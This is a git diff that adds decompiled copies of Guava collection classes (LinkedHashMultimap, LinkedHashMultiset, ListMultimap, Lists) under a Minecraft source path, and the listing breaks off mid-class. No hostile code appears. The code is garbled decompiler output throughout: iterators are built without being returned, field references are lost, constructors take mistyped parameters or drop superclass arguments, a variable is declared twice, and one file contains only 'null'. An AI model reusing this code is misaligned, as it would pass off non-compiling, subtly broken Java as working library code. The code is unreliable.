+    public ValueEntry<K, V> getPredecessorInMultimap() {
+      return predecessorInMultimap;
+    }
+    
+    public ValueEntry<K, V> getSuccessorInMultimap() {
+      return successorInMultimap;
+    }
+    
+    public void setSuccessorInMultimap(ValueEntry<K, V> multimapSuccessor) {
+      successorInMultimap = multimapSuccessor;
+    }
+    
+    public void setPredecessorInMultimap(ValueEntry<K, V> multimapPredecessor) {
+      predecessorInMultimap = multimapPredecessor;
+    }
+  }
+  
+
+
+
+  @VisibleForTesting
+  transient int valueSetCapacity = 2;
+  private transient ValueEntry<K, V> multimapHeaderEntry;
+  
+  private LinkedHashMultimap(int keyCapacity, int valueSetCapacity) {
+    super(new LinkedHashMap(keyCapacity));
+    CollectPreconditions.checkNonnegative(valueSetCapacity, "expectedValuesPerKey");
+    
+    this.valueSetCapacity = valueSetCapacity;
+    multimapHeaderEntry = new ValueEntry(null, null, 0, null);
+    succeedsInMultimap(multimapHeaderEntry, multimapHeaderEntry);
+  }
+  
+
+
+
+
+
+
+
+
+
+  Set<V> createCollection()
+  {
+    return new LinkedHashSet(valueSetCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+
+  Collection<V> createCollection(K key)
+  {
+    return new ValueSet(key, valueSetCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public Set<V> replaceValues(@Nullable K key, Iterable<? extends V> values)
+  {
+    return super.replaceValues(key, values);
+  }
+  
+
+
+
+
+
+  @GwtIncompatible("java serialization not supported")
+  private static final long serialVersionUID = 1L;
+  
+
+
+
+  public Set<Map.Entry<K, V>> entries()
+  {
+    return super.entries();
+  }
+  
+
+
+
+
+
+
+  public Collection<V> values()
+  {
+    return super.values();
+  }
+  
+
+  @VisibleForTesting
+  final class ValueSet
+    extends Sets.ImprovedAbstractSet<V>
+    implements LinkedHashMultimap.ValueSetLink<K, V>
+  {
+    private final K key;
+    @VisibleForTesting
+    LinkedHashMultimap.ValueEntry<K, V>[] hashTable;
+    private int size = 0;
+    private int modCount = 0;
+    
+    private LinkedHashMultimap.ValueSetLink<K, V> firstEntry;
+    
+    private LinkedHashMultimap.ValueSetLink<K, V> lastEntry;
+    
+    ValueSet(int key)
+    {
+      this.key = key;
+      firstEntry = this;
+      lastEntry = this;
+      
+      int tableSize = Hashing.closedTableSize(expectedValues, 1.0D);
+      
+
+      LinkedHashMultimap.ValueEntry<K, V>[] hashTable = new LinkedHashMultimap.ValueEntry[tableSize];
+      this.hashTable = hashTable;
+    }
+    
+    private int mask() {
+      return hashTable.length - 1;
+    }
+    
+    public LinkedHashMultimap.ValueSetLink<K, V> getPredecessorInValueSet()
+    {
+      return lastEntry;
+    }
+    
+    public LinkedHashMultimap.ValueSetLink<K, V> getSuccessorInValueSet()
+    {
+      return firstEntry;
+    }
+    
+    public void setPredecessorInValueSet(LinkedHashMultimap.ValueSetLink<K, V> entry)
+    {
+      lastEntry = entry;
+    }
+    
+    public void setSuccessorInValueSet(LinkedHashMultimap.ValueSetLink<K, V> entry)
+    {
+      firstEntry = entry;
+    }
+    
+    public Iterator<V> iterator()
+    {
+      new Iterator() {
+        LinkedHashMultimap.ValueSetLink<K, V> nextEntry = firstEntry;
+        LinkedHashMultimap.ValueEntry<K, V> toRemove;
+        int expectedModCount = modCount;
+        
+        private void checkForComodification() {
+          if (modCount != expectedModCount) {
+            throw new ConcurrentModificationException();
+          }
+        }
+        
+        public boolean hasNext()
+        {
+          checkForComodification();
+          return nextEntry != LinkedHashMultimap.ValueSet.this;
+        }
+        
+        public V next()
+        {
+          if (!hasNext()) {
+            throw new NoSuchElementException();
+          }
+          LinkedHashMultimap.ValueEntry<K, V> entry = (LinkedHashMultimap.ValueEntry)nextEntry;
+          V result = entry.getValue();
+          toRemove = entry;
+          nextEntry = entry.getSuccessorInValueSet();
+          return result;
+        }
+        
+        public void remove()
+        {
+          checkForComodification();
+          CollectPreconditions.checkRemove(toRemove != null);
+          remove(toRemove.getValue());
+          expectedModCount = modCount;
+          toRemove = null;
+        }
+      };
+    }
+    
+    public int size()
+    {
+      return size;
+    }
+    
+    public boolean contains(@Nullable Object o)
+    {
+      int smearedHash = Hashing.smearedHash(o);
+      for (LinkedHashMultimap.ValueEntry<K, V> entry = hashTable[(smearedHash & mask())]; entry != null; 
+          entry = nextInValueBucket) {
+        if (entry.matchesValue(o, smearedHash)) {
+          return true;
+        }
+      }
+      return false;
+    }
+    
+    public boolean add(@Nullable V value)
+    {
+      int smearedHash = Hashing.smearedHash(value);
+      int bucket = smearedHash & mask();
+      LinkedHashMultimap.ValueEntry<K, V> rowHead = hashTable[bucket];
+      for (LinkedHashMultimap.ValueEntry<K, V> entry = rowHead; entry != null; 
+          entry = nextInValueBucket) {
+        if (entry.matchesValue(value, smearedHash)) {
+          return false;
+        }
+      }
+      
+      LinkedHashMultimap.ValueEntry<K, V> newEntry = new LinkedHashMultimap.ValueEntry(key, value, smearedHash, rowHead);
+      LinkedHashMultimap.succeedsInValueSet(lastEntry, newEntry);
+      LinkedHashMultimap.succeedsInValueSet(newEntry, this);
+      LinkedHashMultimap.succeedsInMultimap(multimapHeaderEntry.getPredecessorInMultimap(), newEntry);
+      LinkedHashMultimap.succeedsInMultimap(newEntry, multimapHeaderEntry);
+      hashTable[bucket] = newEntry;
+      size += 1;
+      modCount += 1;
+      rehashIfNecessary();
+      return true;
+    }
+    
+    private void rehashIfNecessary() {
+      if (Hashing.needsResizing(size, this.hashTable.length, 1.0D))
+      {
+        LinkedHashMultimap.ValueEntry<K, V>[] hashTable = new LinkedHashMultimap.ValueEntry[this.hashTable.length * 2];
+        this.hashTable = hashTable;
+        int mask = hashTable.length - 1;
+        for (LinkedHashMultimap.ValueSetLink<K, V> entry = firstEntry; 
+            entry != this; entry = entry.getSuccessorInValueSet()) {
+          LinkedHashMultimap.ValueEntry<K, V> valueEntry = (LinkedHashMultimap.ValueEntry)entry;
+          int bucket = smearedValueHash & mask;
+          nextInValueBucket = hashTable[bucket];
+          hashTable[bucket] = valueEntry;
+        }
+      }
+    }
+    
+    public boolean remove(@Nullable Object o)
+    {
+      int smearedHash = Hashing.smearedHash(o);
+      int bucket = smearedHash & mask();
+      LinkedHashMultimap.ValueEntry<K, V> prev = null;
+      for (LinkedHashMultimap.ValueEntry<K, V> entry = hashTable[bucket]; entry != null; 
+          entry = nextInValueBucket) {
+        if (entry.matchesValue(o, smearedHash)) {
+          if (prev == null)
+          {
+            hashTable[bucket] = nextInValueBucket;
+          } else {
+            nextInValueBucket = nextInValueBucket;
+          }
+          LinkedHashMultimap.deleteFromValueSet(entry);
+          LinkedHashMultimap.deleteFromMultimap(entry);
+          size -= 1;
+          modCount += 1;
+          return true;
+        }
+        prev = entry;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+      return false;
+    }
+    
+    public void clear()
+    {
+      Arrays.fill(hashTable, null);
+      size = 0;
+      for (LinkedHashMultimap.ValueSetLink<K, V> entry = firstEntry; 
+          entry != this; entry = entry.getSuccessorInValueSet()) {
+        LinkedHashMultimap.ValueEntry<K, V> valueEntry = (LinkedHashMultimap.ValueEntry)entry;
+        LinkedHashMultimap.deleteFromMultimap(valueEntry);
+      }
+      LinkedHashMultimap.succeedsInValueSet(this, this);
+      modCount += 1;
+    }
+  }
+  
+  Iterator<Map.Entry<K, V>> entryIterator()
+  {
+    new Iterator() {
+      LinkedHashMultimap.ValueEntry<K, V> nextEntry = multimapHeaderEntry.successorInMultimap;
+      LinkedHashMultimap.ValueEntry<K, V> toRemove;
+      
+      public boolean hasNext()
+      {
+        return nextEntry != multimapHeaderEntry;
+      }
+      
+      public Map.Entry<K, V> next()
+      {
+        if (!hasNext()) {
+          throw new NoSuchElementException();
+        }
+        LinkedHashMultimap.ValueEntry<K, V> result = nextEntry;
+        toRemove = result;
+        nextEntry = nextEntry.successorInMultimap;
+        return result;
+      }
+      
+      public void remove()
+      {
+        CollectPreconditions.checkRemove(toRemove != null);
+        remove(toRemove.getKey(), toRemove.getValue());
+        toRemove = null;
+      }
+    };
+  }
+  
+  Iterator<V> valueIterator()
+  {
+    return Maps.valueIterator(entryIterator());
+  }
+  
+  public void clear()
+  {
+    super.clear();
+    succeedsInMultimap(multimapHeaderEntry, multimapHeaderEntry);
+  }
+  
+
+
+  @GwtIncompatible("java.io.ObjectOutputStream")
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.defaultWriteObject();
+    stream.writeInt(valueSetCapacity);
+    stream.writeInt(keySet().size());
+    for (K key : keySet()) {
+      stream.writeObject(key);
+    }
+    stream.writeInt(size());
+    for (Map.Entry<K, V> entry : entries()) {
+      stream.writeObject(entry.getKey());
+      stream.writeObject(entry.getValue());
+    }
+  }
+  
+  @GwtIncompatible("java.io.ObjectInputStream")
+  private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    multimapHeaderEntry = new ValueEntry(null, null, 0, null);
+    succeedsInMultimap(multimapHeaderEntry, multimapHeaderEntry);
+    valueSetCapacity = stream.readInt();
+    int distinctKeys = stream.readInt();
+    Map<K, Collection<V>> map = new LinkedHashMap(Maps.capacity(distinctKeys));
+    
+    for (int i = 0; i < distinctKeys; i++)
+    {
+      K key = stream.readObject();
+      map.put(key, createCollection(key));
+    }
+    int entries = stream.readInt();
+    for (int i = 0; i < entries; i++)
+    {
+      K key = stream.readObject();
+      
+      V value = stream.readObject();
+      ((Collection)map.get(key)).add(value);
+    }
+    setMap(map);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/LinkedHashMultiset.java b/src/minecraft/com/google/common/collect/LinkedHashMultiset.java
new file mode 100644
index 0000000..f35abe5
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/LinkedHashMultiset.java
@@ -0,0 +1,110 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.util.LinkedHashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public final class LinkedHashMultiset<E>
+  extends AbstractMapBasedMultiset<E>
+{
+  @GwtIncompatible("not needed in emulated source")
+  private static final long serialVersionUID = 0L;
+  
+  public static <E> LinkedHashMultiset<E> create()
+  {
+    return new LinkedHashMultiset();
+  }
+  
+
+
+
+
+
+
+  public static <E> LinkedHashMultiset<E> create(int distinctElements)
+  {
+    return new LinkedHashMultiset(distinctElements);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <E> LinkedHashMultiset<E> create(Iterable<? extends E> elements)
+  {
+    LinkedHashMultiset<E> multiset = create(Multisets.inferDistinctElements(elements));
+    
+    Iterables.addAll(multiset, elements);
+    return multiset;
+  }
+  
+  private LinkedHashMultiset() {
+    super(new LinkedHashMap());
+  }
+  
+  private LinkedHashMultiset(int distinctElements)
+  {
+    super(new LinkedHashMap(Maps.capacity(distinctElements)));
+  }
+  
+
+
+  @GwtIncompatible("java.io.ObjectOutputStream")
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.defaultWriteObject();
+    Serialization.writeMultiset(this, stream);
+  }
+  
+  @GwtIncompatible("java.io.ObjectInputStream")
+  private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    int distinctElements = Serialization.readCount(stream);
+    setBackingMap(new LinkedHashMap(Maps.capacity(distinctElements)));
+    
+    Serialization.populateMultiset(this, stream, distinctElements);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/LinkedListMultimap.java b/src/minecraft/com/google/common/collect/LinkedListMultimap.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/LinkedListMultimap.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/google/common/collect/ListMultimap.java b/src/minecraft/com/google/common/collect/ListMultimap.java
new file mode 100644
index 0000000..fc8ea84
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ListMultimap.java
@@ -0,0 +1,22 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.List;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+@GwtCompatible
+public abstract interface ListMultimap<K, V>
+  extends Multimap<K, V>
+{
+  public abstract List<V> get(@Nullable K paramK);
+  
+  public abstract List<V> removeAll(@Nullable Object paramObject);
+  
+  public abstract List<V> replaceValues(K paramK, Iterable<? extends V> paramIterable);
+  
+  public abstract Map<K, Collection<V>> asMap();
+  
+  public abstract boolean equals(@Nullable Object paramObject);
+}
diff --git a/src/minecraft/com/google/common/collect/Lists.java b/src/minecraft/com/google/common/collect/Lists.java
new file mode 100644
index 0000000..5866532
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Lists.java
@@ -0,0 +1,1044 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Function;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.math.IntMath;
+import com.google.common.primitives.Ints;
+import java.io.Serializable;
+import java.math.RoundingMode;
+import java.util.AbstractList;
+import java.util.AbstractSequentialList;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.NoSuchElementException;
+import java.util.RandomAccess;
+import java.util.concurrent.CopyOnWriteArrayList;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Lists
+{
+  private Lists() {}
+  
+  @GwtCompatible(serializable=true)
+  public static <E> ArrayList<E> newArrayList()
+  {
+    return new ArrayList();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <E> ArrayList<E> newArrayList(E... elements)
+  {
+    Preconditions.checkNotNull(elements);
+    
+    int capacity = computeArrayListCapacity(elements.length);
+    ArrayList<E> list = new ArrayList(capacity);
+    Collections.addAll(list, elements);
+    return list;
+  }
+  
+  @VisibleForTesting
+  static int computeArrayListCapacity(int arraySize) { CollectPreconditions.checkNonnegative(arraySize, "arraySize");
+    
+
+    return Ints.saturatedCast(5L + arraySize + arraySize / 10);
+  }
+  
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <E> ArrayList<E> newArrayList(Iterable<? extends E> elements)
+  {
+    Preconditions.checkNotNull(elements);
+    
+    return (elements instanceof Collection) ? new ArrayList(Collections2.cast(elements)) : newArrayList(elements.iterator());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <E> ArrayList<E> newArrayList(Iterator<? extends E> elements)
+  {
+    ArrayList<E> list = newArrayList();
+    Iterators.addAll(list, elements);
+    return list;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <E> ArrayList<E> newArrayListWithCapacity(int initialArraySize)
+  {
+    CollectPreconditions.checkNonnegative(initialArraySize, "initialArraySize");
+    return new ArrayList(initialArraySize);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <E> ArrayList<E> newArrayListWithExpectedSize(int estimatedSize)
+  {
+    return new ArrayList(computeArrayListCapacity(estimatedSize));
+  }
+  
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <E> LinkedList<E> newLinkedList()
+  {
+    return new LinkedList();
+  }
+  
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <E> LinkedList<E> newLinkedList(Iterable<? extends E> elements)
+  {
+    LinkedList<E> list = newLinkedList();
+    Iterables.addAll(list, elements);
+    return list;
+  }
+  
+
+
+
+
+
+
+
+
+  @GwtIncompatible("CopyOnWriteArrayList")
+  public static <E> CopyOnWriteArrayList<E> newCopyOnWriteArrayList()
+  {
+    return new CopyOnWriteArrayList();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("CopyOnWriteArrayList")
+  public static <E> CopyOnWriteArrayList<E> newCopyOnWriteArrayList(Iterable<? extends E> elements)
+  {
+    Collection<? extends E> elementsCollection = (elements instanceof Collection) ? Collections2.cast(elements) : newArrayList(elements);
+    
+
+    return new CopyOnWriteArrayList(elementsCollection);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> List<E> asList(@Nullable E first, E[] rest)
+  {
+    return new OnePlusArrayList(first, rest);
+  }
+  
+  private static class OnePlusArrayList<E> extends AbstractList<E> implements Serializable, RandomAccess
+  {
+    final E first;
+    final E[] rest;
+    private static final long serialVersionUID = 0L;
+    
+    OnePlusArrayList(@Nullable E first, E[] rest) {
+      this.first = first;
+      this.rest = ((Object[])Preconditions.checkNotNull(rest));
+    }
+    
+    public int size() { return rest.length + 1; }
+    
+    public E get(int index)
+    {
+      Preconditions.checkElementIndex(index, size());
+      return index == 0 ? first : rest[(index - 1)];
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> List<E> asList(@Nullable E first, @Nullable E second, E[] rest)
+  {
+    return new TwoPlusArrayList(first, second, rest);
+  }
+  
+  private static class TwoPlusArrayList<E> extends AbstractList<E> implements Serializable, RandomAccess
+  {
+    final E first;
+    final E second;
+    final E[] rest;
+    private static final long serialVersionUID = 0L;
+    
+    TwoPlusArrayList(@Nullable E first, @Nullable E second, E[] rest) {
+      this.first = first;
+      this.second = second;
+      this.rest = ((Object[])Preconditions.checkNotNull(rest));
+    }
+    
+    public int size() { return rest.length + 2; }
+    
+    public E get(int index) {
+      switch (index) {
+      case 0: 
+        return first;
+      case 1: 
+        return second;
+      }
+      
+      Preconditions.checkElementIndex(index, size());
+      return rest[(index - 2)];
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static <B> List<List<B>> cartesianProduct(List<? extends List<? extends B>> lists)
+  {
+    return CartesianList.create(lists);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static <B> List<List<B>> cartesianProduct(List<? extends B>... lists)
+  {
+    return cartesianProduct(Arrays.asList(lists));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <F, T> List<T> transform(List<F> fromList, Function<? super F, ? extends T> function)
+  {
+    return (fromList instanceof RandomAccess) ? new TransformingRandomAccessList(fromList, function) : new TransformingSequentialList(fromList, function);
+  }
+  
+
+  private static class TransformingSequentialList<F, T>
+    extends AbstractSequentialList<T>
+    implements Serializable
+  {
+    final List<F> fromList;
+    
+    final Function<? super F, ? extends T> function;
+    
+    private static final long serialVersionUID = 0L;
+    
+
+    TransformingSequentialList(List<F> fromList, Function<? super F, ? extends T> function)
+    {
+      this.fromList = ((List)Preconditions.checkNotNull(fromList));
+      this.function = ((Function)Preconditions.checkNotNull(function));
+    }
+    
+
+
+
+    public void clear()
+    {
+      fromList.clear();
+    }
+    
+    public int size() { return fromList.size(); }
+    
+    public ListIterator<T> listIterator(int index) {
+      new TransformedListIterator(fromList.listIterator(index))
+      {
+        T transform(F from) {
+          return function.apply(from);
+        }
+      };
+    }
+  }
+  
+
+
+  private static class TransformingRandomAccessList<F, T>
+    extends AbstractList<T>
+    implements RandomAccess, Serializable
+  {
+    final List<F> fromList;
+    
+
+    final Function<? super F, ? extends T> function;
+    
+
+    private static final long serialVersionUID = 0L;
+    
+
+    TransformingRandomAccessList(List<F> fromList, Function<? super F, ? extends T> function)
+    {
+      this.fromList = ((List)Preconditions.checkNotNull(fromList));
+      this.function = ((Function)Preconditions.checkNotNull(function));
+    }
+    
+    public void clear() { fromList.clear(); }
+    
+    public T get(int index) {
+      return function.apply(fromList.get(index));
+    }
+    
+    public Iterator<T> iterator() { return listIterator(); }
+    
+    public ListIterator<T> listIterator(int index) {
+      new TransformedListIterator(fromList.listIterator(index))
+      {
+        T transform(F from) {
+          return function.apply(from);
+        }
+      };
+    }
+    
+    public boolean isEmpty() { return fromList.isEmpty(); }
+    
+    public T remove(int index) {
+      return function.apply(fromList.remove(index));
+    }
+    
+    public int size() { return fromList.size(); }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> List<List<T>> partition(List<T> list, int size)
+  {
+    Preconditions.checkNotNull(list);
+    Preconditions.checkArgument(size > 0);
+    return (list instanceof RandomAccess) ? new RandomAccessPartition(list, size) : new Partition(list, size);
+  }
+  
+  private static class Partition<T> extends AbstractList<List<T>>
+  {
+    final List<T> list;
+    final int size;
+    
+    Partition(List<T> list, int size)
+    {
+      this.list = list;
+      this.size = size;
+    }
+    
+    public List<T> get(int index) {
+      Preconditions.checkElementIndex(index, size());
+      int start = index * size;
+      int end = Math.min(start + size, list.size());
+      return list.subList(start, end);
+    }
+    
+    public int size() {
+      return IntMath.divide(list.size(), size, RoundingMode.CEILING);
+    }
+    
+    public boolean isEmpty() {
+      return list.isEmpty();
+    }
+  }
+  
+  private static class RandomAccessPartition<T> extends Lists.Partition<T> implements RandomAccess
+  {
+    RandomAccessPartition(List<T> list, int size) {
+      super(size);
+    }
+  }
+  
+
+
+
+
+  @Beta
+  public static ImmutableList<Character> charactersOf(String string)
+  {
+    return new StringAsImmutableList((String)Preconditions.checkNotNull(string));
+  }
+  
+  private static final class StringAsImmutableList
+    extends ImmutableList<Character>
+  {
+    private final String string;
+    
+    StringAsImmutableList(String string)
+    {
+      this.string = string;
+    }
+    
+    public int indexOf(@Nullable Object object) {
+      return (object instanceof Character) ? string.indexOf(((Character)object).charValue()) : -1;
+    }
+    
+    public int lastIndexOf(@Nullable Object object)
+    {
+      return (object instanceof Character) ? string.lastIndexOf(((Character)object).charValue()) : -1;
+    }
+    
+
+    public ImmutableList<Character> subList(int fromIndex, int toIndex)
+    {
+      Preconditions.checkPositionIndexes(fromIndex, toIndex, size());
+      return Lists.charactersOf(string.substring(fromIndex, toIndex));
+    }
+    
+    boolean isPartialView() {
+      return false;
+    }
+    
+    public Character get(int index) {
+      Preconditions.checkElementIndex(index, size());
+      return Character.valueOf(string.charAt(index));
+    }
+    
+    public int size() {
+      return string.length();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static List<Character> charactersOf(CharSequence sequence)
+  {
+    return new CharSequenceAsList((CharSequence)Preconditions.checkNotNull(sequence));
+  }
+  
+  private static final class CharSequenceAsList extends AbstractList<Character>
+  {
+    private final CharSequence sequence;
+    
+    CharSequenceAsList(CharSequence sequence) {
+      this.sequence = sequence;
+    }
+    
+    public Character get(int index) {
+      Preconditions.checkElementIndex(index, size());
+      return Character.valueOf(sequence.charAt(index));
+    }
+    
+    public int size() {
+      return sequence.length();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> List<T> reverse(List<T> list)
+  {
+    if ((list instanceof ImmutableList))
+      return ((ImmutableList)list).reverse();
+    if ((list instanceof ReverseList))
+      return ((ReverseList)list).getForwardList();
+    if ((list instanceof RandomAccess)) {
+      return new RandomAccessReverseList(list);
+    }
+    return new ReverseList(list);
+  }
+  
+  private static class ReverseList<T> extends AbstractList<T>
+  {
+    private final List<T> forwardList;
+    
+    ReverseList(List<T> forwardList) {
+      this.forwardList = ((List)Preconditions.checkNotNull(forwardList));
+    }
+    
+    List<T> getForwardList() {
+      return forwardList;
+    }
+    
+    private int reverseIndex(int index) {
+      int size = size();
+      Preconditions.checkElementIndex(index, size);
+      return size - 1 - index;
+    }
+    
+    private int reversePosition(int index) {
+      int size = size();
+      Preconditions.checkPositionIndex(index, size);
+      return size - index;
+    }
+    
+    public void add(int index, @Nullable T element) {
+      forwardList.add(reversePosition(index), element);
+    }
+    
+    public void clear() {
+      forwardList.clear();
+    }
+    
+    public T remove(int index) {
+      return forwardList.remove(reverseIndex(index));
+    }
+    
+    protected void removeRange(int fromIndex, int toIndex) {
+      subList(fromIndex, toIndex).clear();
+    }
+    
+    public T set(int index, @Nullable T element) {
+      return forwardList.set(reverseIndex(index), element);
+    }
+    
+    public T get(int index) {
+      return forwardList.get(reverseIndex(index));
+    }
+    
+    public int size() {
+      return forwardList.size();
+    }
+    
+    public List<T> subList(int fromIndex, int toIndex) {
+      Preconditions.checkPositionIndexes(fromIndex, toIndex, size());
+      return Lists.reverse(forwardList.subList(reversePosition(toIndex), reversePosition(fromIndex)));
+    }
+    
+    public Iterator<T> iterator()
+    {
+      return listIterator();
+    }
+    
+    public ListIterator<T> listIterator(int index) {
+      int start = reversePosition(index);
+      final ListIterator<T> forwardIterator = forwardList.listIterator(start);
+      new ListIterator()
+      {
+        boolean canRemoveOrSet;
+        
+        public void add(T e) {
+          forwardIterator.add(e);
+          forwardIterator.previous();
+          canRemoveOrSet = false;
+        }
+        
+        public boolean hasNext() {
+          return forwardIterator.hasPrevious();
+        }
+        
+        public boolean hasPrevious() {
+          return forwardIterator.hasNext();
+        }
+        
+        public T next() {
+          if (!hasNext()) {
+            throw new NoSuchElementException();
+          }
+          canRemoveOrSet = true;
+          return forwardIterator.previous();
+        }
+        
+        public int nextIndex() {
+          return Lists.ReverseList.this.reversePosition(forwardIterator.nextIndex());
+        }
+        
+        public T previous() {
+          if (!hasPrevious()) {
+            throw new NoSuchElementException();
+          }
+          canRemoveOrSet = true;
+          return forwardIterator.next();
+        }
+        
+        public int previousIndex() {
+          return nextIndex() - 1;
+        }
+        
+        public void remove() {
+          CollectPreconditions.checkRemove(canRemoveOrSet);
+          forwardIterator.remove();
+          canRemoveOrSet = false;
+        }
+        
+        public void set(T e) {
+          Preconditions.checkState(canRemoveOrSet);
+          forwardIterator.set(e);
+        }
+      };
+    }
+  }
+  
+  private static class RandomAccessReverseList<T> extends Lists.ReverseList<T> implements RandomAccess
+  {
+    RandomAccessReverseList(List<T> forwardList) {
+      super();
+    }
+  }
+  
+
+
+
+  static int hashCodeImpl(List<?> list)
+  {
+    int hashCode = 1;
+    for (Object o : list) {
+      hashCode = 31 * hashCode + (o == null ? 0 : o.hashCode());
+      
+      hashCode = hashCode ^ 0xFFFFFFFF ^ 0xFFFFFFFF;
+    }
+    
+    return hashCode;
+  }
+  
+
+
+  static boolean equalsImpl(List<?> list, @Nullable Object object)
+  {
+    if (object == Preconditions.checkNotNull(list)) {
+      return true;
+    }
+    if (!(object instanceof List)) {
+      return false;
+    }
+    
+    List<?> o = (List)object;
+    
+    return (list.size() == o.size()) && (Iterators.elementsEqual(list.iterator(), o.iterator()));
+  }
+  
+
+
+
+
+  static <E> boolean addAllImpl(List<E> list, int index, Iterable<? extends E> elements)
+  {
+    boolean changed = false;
+    ListIterator<E> listIterator = list.listIterator(index);
+    for (E e : elements) {
+      listIterator.add(e);
+      changed = true;
+    }
+    return changed;
+  }
+  
+
+
+  static int indexOfImpl(List<?> list, @Nullable Object element)
+  {
+    ListIterator<?> listIterator = list.listIterator();
+    while (listIterator.hasNext()) {
+      if (Objects.equal(element, listIterator.next())) {
+        return listIterator.previousIndex();
+      }
+    }
+    return -1;
+  }
+  
+
+
+  static int lastIndexOfImpl(List<?> list, @Nullable Object element)
+  {
+    ListIterator<?> listIterator = list.listIterator(list.size());
+    while (listIterator.hasPrevious()) {
+      if (Objects.equal(element, listIterator.previous())) {
+        return listIterator.nextIndex();
+      }
+    }
+    return -1;
+  }
+  
+
+
+  static <E> ListIterator<E> listIteratorImpl(List<E> list, int index)
+  {
+    return new AbstractListWrapper(list).listIterator(index);
+  }
+  
+
+  static <E> List<E> subListImpl(List<E> list, int fromIndex, int toIndex)
+  {
+    List<E> wrapper;
+    
+    List<E> wrapper;
+    if ((list instanceof RandomAccess)) {
+      wrapper = new RandomAccessListWrapper(list) { private static final long serialVersionUID = 0L;
+        
+        public ListIterator<E> listIterator(int index) { return backingList.listIterator(index);
+        }
+
+      };
+    }
+    else {
+      wrapper = new AbstractListWrapper(list) { private static final long serialVersionUID = 0L;
+        
+        public ListIterator<E> listIterator(int index) { return backingList.listIterator(index); }
+      };
+    }
+    
+
+
+    return wrapper.subList(fromIndex, toIndex);
+  }
+  
+  private static class AbstractListWrapper<E> extends AbstractList<E> {
+    final List<E> backingList;
+    
+    AbstractListWrapper(List<E> backingList) {
+      this.backingList = ((List)Preconditions.checkNotNull(backingList));
+    }
+    
+    public void add(int index, E element) {
+      backingList.add(index, element);
+    }
+    
+    public boolean addAll(int index, Collection<? extends E> c) {
+      return backingList.addAll(index, c);
+    }
+    
+    public E get(int index) {
+      return backingList.get(index);
+    }
+    
+    public E remove(int index) {
+      return backingList.remove(index);
+    }
+    
+    public E set(int index, E element) {
+      return backingList.set(index, element);
+    }
+    
+    public boolean contains(Object o) {
+      return backingList.contains(o);
+    }
+    
+    public int size() {
+      return backingList.size();
+    }
+  }
+  
+  private static class RandomAccessListWrapper<E> extends Lists.AbstractListWrapper<E> implements RandomAccess
+  {
+    RandomAccessListWrapper(List<E> backingList) {
